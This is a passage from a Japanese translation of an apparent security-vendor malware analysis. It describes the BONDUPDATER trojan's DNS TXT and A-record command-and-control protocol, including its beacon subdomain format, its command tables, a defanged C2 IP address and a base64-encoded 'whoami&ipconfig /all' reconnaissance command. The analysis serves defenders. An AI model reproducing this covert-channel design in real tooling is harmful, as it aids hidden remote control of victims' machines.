\u30a4\u30f3\u30c7\u30c3\u30af\u30b9\u306f\u30010\u304b\u3089\u59cb\u307e\u308b\u30a4\u30f3\u30c7\u30c3\u30af\u30b9\u4ed8\u304d\u6587\u5b57\u5217\u3092\u8868\u3057\u307e\u3059(0\u306f\u6587\u5b57\u5217\u306e\u6700\u521d\u306e\u6587\u5b57\u3067\u3059)\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">&lt;GUID with part number and action character&gt;&lt;sequence number&gt;&lt;between 1 and 7 random characters&gt;C&lt;index of part number&gt;&lt;index of action&gt;T.&lt;C2 domain&gt;<\/span><\/p>\n<p>\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304b\u3089C2\u3078\u306e\u6700\u521d\u306e\u30d3\u30fc\u30b3\u30f3\u306f\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3057\u3088\u3046\u3068\u3057\u3066\u3044\u306a\u3044\u306e\u3067\u3001\u30a2\u30af\u30b7\u30e7\u30f3\u306e\u7a2e\u985e\u3068\u3057\u3066\"M\"\u3068\u30d1\u30fc\u30c8\u756a\u53f7\"000\"\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002\u56f324\u306f\u3001\u30aa\u30d5\u30bb\u30c3\u30c87\u306b\u30d1\u30fc\u30c8\u756a\u53f7\"000\"\u3001\u30aa\u30d5\u30bb\u30c3\u30c84\u306b\u30a2\u30af\u30b7\u30e7\u30f3\"M\"\u3092\u4ed8\u3051\u3066\u3001BONDUPDATER\u304b\u3089\u305d\u306eC2\u30b5\u30fc\u30d0\u30fc\u306b\u9001\u4fe1\u3055\u308c\u308b\u30d3\u30fc\u30b3\u30f3\u306e\u4f8b\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u30a2\u30af\u30b7\u30e7\u30f3\u306e\u30a4\u30f3\u30c7\u30c3\u30af\u30b9\u304c\u30d1\u30fc\u30c8\u756a\u53f7\u306e\u30a4\u30f3\u30c7\u30c3\u30af\u30b9\u3088\u308a\u3082\u5927\u304d\u3044\u5834\u5408\u3001\u30a2\u30af\u30b7\u30e7\u30f3\u306e\u4f4d\u7f6e\u306f\u4e0d\u6b63\u78ba\u306b\u306a\u308b\u306e\u3067\u3001\u6b63\u3057\u3044\u30aa\u30d5\u30bb\u30c3\u30c8\u3092\u898b\u3064\u3051\u308b\u305f\u3081\u306b\u30d1\u30fc\u30c8\u756a\u53f7\u306e\u9577\u3055(3\u6841)\u304c\u5fc5\u8981\u306b\u306a\u308b\u3053\u3068\u306b\u6ce8\u610f\u3059\u308b\u3053\u3068\u304c\u91cd\u8981\u3067\u3059\u3002<em>\u00a0<\/em><\/p>\n<figure id=\"attachment_101501\" aria-describedby=\"caption-attachment-101501\" style=\"width: 970px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101501 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-231.png\" alt=\"\u56f324 \u66f4\u65b0\u3055\u308c\u305fBONDUPDATER\u306e\u6700\u521d\u306e\u30d3\u30fc\u30b3\u30f3\u3068\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306bTXT\u30af\u30a8\u30ea\u3092\u4f7f\u7528\u3059\u308b\u3088\u3046\u306b\u6307\u793a\u3059\u308bC2\" width=\"970\" height=\"124\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-231.png 970w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-231-300x38.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-231-768x98.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-231-900x115.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-231-370x47.png 370w\" sizes=\"(max-width: 970px) 100vw, 970px\" \/><figcaption id=\"caption-attachment-101501\" class=\"wp-caption-text\">\u56f324 \u66f4\u65b0\u3055\u308c\u305fBONDUPDATER\u306e\u6700\u521d\u306e\u30d3\u30fc\u30b3\u30f3\u3068\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306bTXT\u30af\u30a8\u30ea\u3092\u4f7f\u7528\u3059\u308b\u3088\u3046\u306b\u6307\u793a\u3059\u308bC2<\/figcaption><\/figure>\n<p>\u56f324\u3092\u898b\u308b\u3068\u308f\u304b\u308b\u3088\u3046\u306b\u3001C2\u30b5\u30fc\u30d0\u30fc\u306fBONDUPDATER\u306b\u65b0\u3057\u3044TXT\u30d9\u30fc\u30b9\u306eDNS\u30c8\u30f3\u30cd\u30eb\u3092\u4f7f\u7528\u3059\u308b\u3088\u3046\u306b\u6307\u793a\u3059\u308b\u305f\u3081\u306b\u3001IPv4\u30a2\u30c9\u30ec\u30b9\"99.250.250[.]199\" \u3067\u30d3\u30fc\u30b3\u30f3\u306b\u5fdc\u7b54\u3057\u3066\u3044\u307e\u3059\u3002C2\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u30b3\u30de\u30f3\u30c9\u3092\u53d6\u5f97\u3059\u308b\u305f\u3081\u3001BONDUPDATER\u306f\u3001\u30a2\u30af\u30b7\u30e7\u30f3\u5024\u3068\u3057\u3066\"W\"\u3092\u542b\u3080DNS TXT\u30af\u30a8\u30ea\u3092\u4f7f\u7528\u3059\u308b\u30d3\u30fc\u30b3\u30f3\u3092\u4ecb\u3057\u3001C2\u30b5\u30fc\u30d0\u30fc\u306b\u30d5\u30a1\u30a4\u30eb\u540d\u3092\u8981\u6c42\u3057\u307e\u3059\u3002BONDUPDATER\u306f\u3001\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305f\u30c7\u30fc\u30bf\u3092\u66f8\u304d\u8fbc\u3080\u305f\u3081\u306b\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u540d\u3092\u4f7f\u7528\u3059\u308b\u3060\u3051\u3067\u306a\u304f\u3001\u5b9f\u884c\u3059\u308b\u30b3\u30de\u30f3\u30c9\u3068\u3057\u3066\u3082\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u540d\u306e\u672b\u5c3e\u306e\u6587\u5b57\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002\u4ee5\u524d\u306e\u30d6\u30ed\u30b0\u304b\u3089\u629c\u7c8b\u3057\u305f\u6b21\u306e\u88685\u306f\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304c\u63d0\u4f9b\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u540d\u672b\u5c3e\u306e\u6587\u5b57\u3092\u4f7f\u3063\u3066\u7279\u5b9a\u306e\u30a2\u30af\u30b7\u30e7\u30f3\u3092\u5b9f\u884c\u3059\u308b\u65b9\u6cd5\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<table style=\"width: 100%;\">\n<tbody>\n<tr>\n<td style=\"width: 20.0753%;\"><strong>\u672b\u5c3e\u306e\u6587\u5b57\/\u30b3\u30de\u30f3\u30c9<\/strong><\/td>\n<td style=\"width: 20.7027%;\"><strong>\u76ee\u7684<\/strong><\/td>\n<td style=\"width: 63.6136%;\"><strong>\u8aac\u660e<\/strong><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.0753%;\">0<\/td>\n<td style=\"width: 20.7027%;\">\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3059\u308b<\/td>\n<td style=\"width: 63.6136%;\">\u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u3092\u8aad\u307f\u53d6\u308a\u3001\u305d\u308c\u3089\u3092\"cmd.exe\"\u3092\u4f7f\u7528\u3057\u3066\u30b3\u30de\u30f3\u30c9\u3068\u3057\u3066\u5b9f\u884c\u3057\u307e\u3059\u3002\u30b3\u30de\u30f3\u30c9\u304b\u3089\u306e\u51fa\u529b\u306f\u3001\u540d\u524d\u304c\"proc\"\u3067\u59cb\u307e\u308b\u30d5\u30a1\u30a4\u30eb\u306b\u4fdd\u5b58\u3055\u308c\u3001\"sendbox\"\u30d5\u30a9\u30eb\u30c0\u306b\u4fdd\u5b58\u3055\u308c\u3001\u3053\u308c\u3092\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304cC2\u30b5\u30fc\u30d0\u306b\u9001\u4fe1\u3057\u307e\u3059\u3002<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.0753%;\">1<\/td>\n<td style=\"width: 20.7027%;\">\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u30d5\u30a1\u30a4\u30eb<\/td>\n<td style=\"width: 63.6136%;\">\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u3078\u306e\u30d1\u30b9\u306b\u3064\u3044\u3066\u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u3092\u8aad\u307f\u53d6\u308a\u307e\u3059\u3002\u6307\u5b9a\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u3092\"sendbox\"\u30d5\u30a9\u30eb\u30c0\u5185\u306e\u30d5\u30a1\u30a4\u30eb\u306b\u30b3\u30d4\u30fc\u3057\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304cC2\u30b5\u30fc\u30d0\u306b\u9001\u4fe1\u3059\u308b\u3088\u3046\u306b\u3057\u307e\u3059\u3002<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 20.0753%;\">\u305d\u306e\u4ed6\u306e\u6587\u5b57<\/td>\n<td style=\"width: 20.7027%;\">\u30d5\u30a1\u30a4\u30eb\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b<\/td>\n<td style=\"width: 63.6136%;\">\u30b7\u30b9\u30c6\u30e0\u306b\u30d5\u30a1\u30a4\u30eb\u3092\u4fdd\u5b58\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002\u30d5\u30a1\u30a4\u30eb\u306f\"done\"\u30d5\u30a9\u30eb\u30c0\u306b\u79fb\u52d5\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u30d5\u30a9\u30eb\u30c0\u306b\u306f\u5c06\u6765\u306e\u4f7f\u7528\u306b\u5099\u3048\u3066\u30d5\u30a1\u30a4\u30eb\u304c\u4fdd\u5b58\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001\u30d5\u30a1\u30a4\u30eb\u304c\u6b63\u5e38\u306b\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u305f\u3053\u3068\u3092C2\u306b\u901a\u77e5\u3059\u308b\u305f\u3081\u3001\"200&lt;&gt;[path to stored file]\"\u3092\"sendbox\"\u30d5\u30a9\u30eb\u30c0\u5185\u306e\u30d5\u30a1\u30a4\u30eb\u306b\u66f8\u304d\u8fbc\u307f\u307e\u3059\u3002<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><em>\u88685 BONDUPDATER\u3067\u4f7f\u7528\u53ef\u80fd\u306a\u30b3\u30de\u30f3\u30c9\u3068\u305d\u306e\u76ee\u7684<\/em><\/p>\n<p><em>\u00a0<\/em>C2\u30b5\u30fc\u30d0\u30fc\u306f\u3053\u306eDNS TXT\u30af\u30a8\u30ea\u306b\u3001BONDUPDATER\u306b\u30c7\u30fc\u30bf\u306e\u51e6\u7406\u65b9\u6cd5\u3092\u6307\u793a\u3059\u308b\u547d\u4ee4\u3067\u59cb\u307e\u308bTXT\u30ec\u30b9\u30dd\u30f3\u30b9\u3067\u5fdc\u7b54\u3057\u307e\u3059\u3002\u4ee5\u524d\u306e\u30d6\u30ed\u30b0\u306e\u88686\u3092\u4ee5\u4e0b\u306b\u629c\u7c8b\u3057\u3001\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u304cTXT\u306eAnswer\u30bb\u30af\u30b7\u30e7\u30f3\u5185\u3067\u63a2\u3059\u547d\u4ee4\u306e\u5185\u5bb9\u3092\u793a\u3057\u307e\u3059\u3002TXT\u30ec\u30b9\u30dd\u30f3\u30b9\u5185\u306b\u306f\u547d\u4ee4\u306e\u76f4\u5f8c\u306b\u5927\u306a\u308a(\"&gt;\")\u8a18\u53f7\u304c\u7d9a\u3044\u3066\u304a\u308a\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3053\u306e\u5927\u306a\u308a\u8a18\u53f7\u306b\u7d9a\u304f\u6587\u5b57\u3092\u30c7\u30fc\u30bf\u3068\u3057\u3066\u6271\u3044\u307e\u3059\u3002<\/p>\n<table style=\"width: 100%;\">\n<tbody>\n<tr>\n<td style=\"width: 29.862%;\"><strong>\u547d\u4ee4<\/strong><\/td>\n<td style=\"width: 69.1343%;\"><strong>\u8aac\u660e<\/strong><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 29.862%;\">N<\/td>\n<td style=\"width: 69.1343%;\">\u30a2\u30a4\u30c9\u30eb\u3002\u6b21\u306e\u30af\u30a8\u30ea\u306e\u30a2\u30af\u30b7\u30e7\u30f3\u30bf\u30a4\u30d7\u3092\"W\"\u306b\u8a2d\u5b9a<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 29.862%;\">S<\/td>\n<td style=\"width: 69.1343%;\">C2\u304b\u3089\u30c7\u30fc\u30bf\u3092\u53d7\u4fe1\u3002\u30c7\u30fc\u30bf\u90e8\u5206\u3092base64\u3068\u3057\u3066\u30c7\u30b3\u30fc\u30c9\u3057\u307e\u3059\u3002\u3053\u306e\u5f8c\u306eC2\u3078\u306e\u30af\u30a8\u30ea\u3067\u306f\u30a2\u30af\u30b7\u30e7\u30f3\u306e\u7a2e\u985e\u3092\"D\"\u306b\u8a2d\u5b9a\u3057\u307e\u3059\u3002<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 29.862%;\">S000s<\/td>\n<td style=\"width: 69.1343%;\">\u30c7\u30fc\u30bf\u306e\u4fdd\u5b58\u5148\u30d5\u30a1\u30a4\u30eb\u540d\u306e\u4e00\u90e8\u3068\u3057\u3066\u30c7\u30fc\u30bf\u3092\u4f7f\u7528\u3057\u307e\u3059\u3002\u30c7\u30fc\u30bf\u306f\u6587\u5b57\u5217\"rcvd\"\u306e\u5f8c\u308d\u306b\u8ffd\u52a0\u3055\u308c\u3001\"receivebox\"\u30d5\u30a9\u30eb\u30c0\u306b\u4fdd\u5b58\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u5f8c\u306eC2\u3078\u306e\u30af\u30a8\u30ea\u3067\u306f\u30a2\u30af\u30b7\u30e7\u30f3\u306e\u7a2e\u985e\u3092\"D\"\u306b\u8a2d\u5b9a\u3057\u307e\u3059\u3002<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 29.862%;\">E<\/td>\n<td style=\"width: 69.1343%;\">\"S000s\"\u30b3\u30de\u30f3\u30c9\u306e\u7d50\u679c\u3068\u3057\u3066\u30d5\u30a1\u30a4\u30eb\u306b \"S\"\u30b3\u30de\u30f3\u30c9\u306b\u3088\u3063\u3066\u63d0\u4f9b\u3055\u308c\u305f\u30d0\u30a4\u30c8\u3092\u66f8\u304d\u8fbc\u307f\u307e\u3059\u3002\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305f\u30d5\u30a1\u30a4\u30eb\u3092\u51e6\u7406\u3059\u308b\u305f\u3081\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u306e\u30eb\u30fc\u30d7\u3092\u30d6\u30ec\u30fc\u30af\u3057\u307e\u3059\u3002<\/td>\n<\/tr>\n<tr>\n<td style=\"width: 29.862%;\">C<\/td>\n<td style=\"width: 69.1343%;\">\u30eb\u30fc\u30d7\u3092\u629c\u3051\u3066\u901a\u4fe1\u3092\u30ad\u30e3\u30f3\u30bb\u30eb\u3057\u307e\u3059\u3002<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><em>\u88686 BONDUPDATER\u306e\u65b0\u3057\u3044\u30c7\u30fc\u30bf\u8ee2\u9001\u30d7\u30ed\u30bb\u30b9\u5185\u306e\u547d\u4ee4\u3068\u305d\u306e\u610f\u5473<\/em><\/p>\n<p>\u30b7\u30b9\u30c6\u30e0\u4e0a\u3067\u30b3\u30de\u30f3\u30c9\u3092\u5b9f\u884c\u3059\u308b\u305f\u3081\u306b\u3001C2\u306f \"S000s\"\u547d\u4ee4\u3068\u305d\u308c\u306b\u7d9a\u304f\u5927\u306a\u308a(\"&gt;\")\u8a18\u53f7\u3068\"0\"\u3067\u7d42\u308f\u308b\u30d5\u30a1\u30a4\u30eb\u540d\u3067\"W\"\u306eTXT\u30d3\u30fc\u30b3\u30f3\u306b\u5fdc\u7b54\u3057\u307e\u3059\u3002\u56f325\u306f\u3001\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306e\u30aa\u30d5\u30bb\u30c3\u30c83\u3067\"W\"\u30a2\u30af\u30b7\u30e7\u30f3\u3092\u6307\u5b9a\u3057\u3066TXT\u30af\u30a8\u30ea\u3092\u767a\u884c\u3059\u308b\u3053\u3068\u306b\u3088\u3063\u3066\u3001C2\u30b5\u30fc\u30d0\u30fc\u304b\u3089\u30d5\u30a1\u30a4\u30eb\u540d\u3092\u53d6\u5f97\u3059\u308b\u8981\u6c42\u3092\u51fa\u3059BONDUPDATER\u306e\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3067\u306f\u3001C2\u304c\"S000s&gt;10100\"\u3067\u30af\u30a8\u30ea\u306b\u5fdc\u7b54\u3057\u3066\u3044\u308b\u69d8\u5b50\u3082\u793a\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3092\u53d7\u3051\u3066\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u6587\u5b57\u5217\"rcvd\"\u306b\u63d0\u4f9b\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u540d\u3092\u8ffd\u52a0\u3057\u3001\"rcvd10100\"\u3068\u3044\u3046\u540d\u524d\u306e\u30d5\u30a1\u30a4\u30eb\u3092\u4f5c\u6210\u3057\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101503\" aria-describedby=\"caption-attachment-101503\" style=\"width: 991px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101503 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-232.png\" alt=\"\u56f325 \u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305f\u30c7\u30fc\u30bf\u3092\u4fdd\u5b58\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u540d\u3092\u8981\u6c42\u3059\u308bBONDUPDATER\" width=\"991\" height=\"118\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-232.png 991w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-232-300x36.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-232-768x91.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-232-900x107.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-232-370x44.png 370w\" sizes=\"(max-width: 991px) 100vw, 991px\" \/><figcaption id=\"caption-attachment-101503\" class=\"wp-caption-text\">\u56f325 \u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u305f\u30c7\u30fc\u30bf\u3092\u4fdd\u5b58\u3059\u308b\u30d5\u30a1\u30a4\u30eb\u540d\u3092\u8981\u6c42\u3059\u308bBONDUPDATER<\/figcaption><\/figure>\n<p>\u30d5\u30a1\u30a4\u30eb\u540d\u304c\u53d6\u5f97\u3067\u304d\u305f\u306e\u3067\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306fC2\u304b\u3089\u30c7\u30fc\u30bf\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u305f\u3081\"D\"\u306e\u30a2\u30af\u30b7\u30e7\u30f3\u3092\u6307\u5b9a\u3057\u3066DNS TXT\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u59cb\u3081\u307e\u3059\u3002C2\u30b5\u30fc\u30d0\u30fc\u306f\u3053\u308c\u3089\u306e\u8981\u6c42\u306b\"S0000\"\u306e\u547d\u4ee4\u3067\u5fdc\u7b54\u3057\u3001\u305d\u306e\u5f8c\u306b\u30b3\u30de\u30f3\u30c9\u3067\u3042\u308bbase64\u30a8\u30f3\u30b3\u30fc\u30c9\u30c7\u30fc\u30bf\u306e\u6700\u521d\u306e\u30c1\u30e3\u30f3\u30af\u304c\u7d9a\u304d\u307e\u3059\u3002\u56f326\u306f\u3001\u30aa\u30d5\u30bb\u30c3\u30c85\u3067\"D\"\u30a2\u30af\u30b7\u30e7\u30f3\u3092\u6307\u5b9a\u3057\u305fTXT\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u3001C2\u30b5\u30fc\u30d0\u30fc\u304c\"S0000\"\u547d\u4ee4\u3068\"whoami&amp;ipconfig \/all\"\u30b3\u30de\u30f3\u30c9\u306e\u305f\u3081\u306e\"d2hvYW1pJmlwY29uZmlnIC9hbGw=\"\u3068\u3044\u3046\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30b3\u30de\u30f3\u30c9\u3092\u5fdc\u7b54\u3059\u308b\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101505\" aria-describedby=\"caption-attachment-101505\" style=\"width: 964px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101505 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-233.png\" alt=\"\u56f326 \u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u30c7\u30fc\u30bf\u3092\u8981\u6c42\u3059\u308bBONDUPDATER\u3068base64\u30c7\u30fc\u30bf\u3092\u63d0\u4f9b\u3059\u308bC2\" width=\"964\" height=\"104\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-233.png 964w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-233-300x32.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-233-768x83.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-233-900x97.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-233-370x40.png 370w\" sizes=\"(max-width: 964px) 100vw, 964px\" \/><figcaption id=\"caption-attachment-101505\" class=\"wp-caption-text\">\u56f326 \u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3059\u308b\u30c7\u30fc\u30bf\u3092\u8981\u6c42\u3059\u308bBONDUPDATER\u3068base64\u30c7\u30fc\u30bf\u3092\u63d0\u4f9b\u3059\u308bC2<\/figcaption><\/figure>\n<p><em>\u00a0<\/em>BONDUPDATER\u306f\u3001\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092\u6307\u5b9a\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u540d\u306b\u66f8\u304d\u8fbc\u3080\u524d\u306b\u3001\"E\"\u3067\u59cb\u307e\u308bC2\u30b5\u30fc\u30d0\u304b\u3089\u306e\u547d\u4ee4\u306e\u53d7\u4fe1\u3092\u5f85\u3061\u307e\u3059\u3002\"E\"\u306e\u547d\u4ee4\u3092\u53d7\u3051\u53d6\u3063\u305f\u5f8c\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306fbase64\u3067\u30c7\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30c7\u30fc\u30bf\u3092\u30d5\u30a1\u30a4\u30eb\u306b\u66f8\u304d\u8fbc\u307f\u3001\u65b0\u3057\u304f\u4f5c\u6210\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u3092\u51e6\u7406\u3057\u307e\u3059\u3002\u56f327\u306f\u3001TXT\u30ec\u30b9\u30dd\u30f3\u30b9\u5185\u3067\"E\"\u306e\u547d\u4ee4\u3092\u63d0\u4f9b\u3059\u308bC2\u30b5\u30fc\u30d0\u30fc\u306e\u69d8\u5b50\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u4eca\u56de\u306e\u30b5\u30f3\u30d7\u30eb\u3067\u306f\u3001\u30d5\u30a1\u30a4\u30eb\u540d\u304c\"0\"\u6587\u5b57\u3067\u7d42\u308f\u3063\u3066\u3044\u308b\u306e\u3067\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u65b0\u3057\u304f\u4fdd\u5b58\u3055\u308c\u305f\u30d5\u30a1\u30a4\u30eb\u3092\u30b9\u30af\u30ea\u30d7\u30c8\u3068\u3057\u3066\u6271\u3044\u307e\u3059\u3002\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u3001\"cmd.exe\"\u3092\u4f7f\u7528\u3057\u3066\u30d5\u30a1\u30a4\u30eb\u306e\u5185\u5bb9\u3092\u5b9f\u884c\u3057\u3001\u305d\u306e\u51fa\u529b\u7d50\u679c\u3092\"proc10100\"\u3068\u3044\u3046\u540d\u524d\u306e\u30d5\u30a1\u30a4\u30eb\u306b\u4fdd\u5b58\u3057\u307e\u3059\u3002\u3053\u308c\u304cC2\u30b5\u30fc\u30d0\u306b\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3055\u308c\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101507\" aria-describedby=\"caption-attachment-101507\" style=\"width: 970px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101507 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/\/2019\/11\/word-image-234.png\" alt=\"\u56f327 BONDUPDATER\u306eC2\u304c\u30c7\u30fc\u30bf\u3092\u30d5\u30a1\u30a4\u30eb\u306b\u66f8\u304d\u8fbc\u3080\u3088\u3046\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u6307\u793a\u3059\u308b\u547d\u4ee4\u3092\u9001\u4fe1\u3057\u3066\u3044\u308b\u69d8\u5b50\" width=\"970\" height=\"81\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-234.png 970w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-234-300x25.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-234-768x64.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-234-900x75.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-234-370x31.png 370w\" sizes=\"(max-width: 970px) 100vw, 970px\" \/><figcaption id=\"caption-attachment-101507\" class=\"wp-caption-text\">\u56f327 BONDUPDATER\u306eC2\u304c\u30c7\u30fc\u30bf\u3092\u30d5\u30a1\u30a4\u30eb\u306b\u66f8\u304d\u8fbc\u3080\u3088\u3046\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306b\u6307\u793a\u3059\u308b\u547d\u4ee4\u3092\u9001\u4fe1\u3057\u3066\u3044\u308b\u69d8\u5b50<\/figcaption><\/figure>\n<p>C2\u30b5\u30fc\u30d0\u30fc\u306b\u30c7\u30fc\u30bf\u3092\u30a2\u30c3\u30d7\u30ed\u30fc\u30c9\u3059\u308b\u305f\u3081\u3001\u66f4\u65b0\u3055\u308c\u305fBONDUPDATER\u306e\u4e9c\u7a2e\u306f\u3001DNS A\u30ea\u30af\u30a8\u30b9\u30c8\u3092\u767a\u884c\u3057\u3001\u7d30\u5de5\u3055\u308c\u305f\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u5185\u306b\u542b\u3081\u305f\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3057\u307e\u3059\u3002\u3053\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306e\u69cb\u9020\u306f\u3001\u30c7\u30fc\u30bf\u3092\u53d7\u4fe1\u3059\u308b\u305f\u3081\u306eDNS A\u304a\u3088\u3073TXT\u30ea\u30af\u30a8\u30b9\u30c8\u3068\u306f\u7570\u306a\u308a\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30b5\u30d6\u30c9\u30e1\u30a4\u30f3\u306b\u306f\u3001\u30d5\u30a1\u30a4\u30eb\u540d\u3068\u30c7\u30fc\u30bf\u81ea\u4f53\u306e\u30bb\u30b0\u30e1\u30f3\u30c8\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u305f\u3081\u3067\u3059\u3002C2\u306b\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3059\u308b\u305f\u3081\u306b\u3001\u3053\u306e\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u306f\u6b21\u306e\u69cb\u9020\u3092\u6301\u3064\u30c9\u30e1\u30a4\u30f3\u3092\u89e3\u6c7a\u3059\u308b\u305f\u3081\u306eDNS A\u30af\u30a8\u30ea\u3092\u767a\u884c\u3057\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">&lt;GUID with part number and action character of 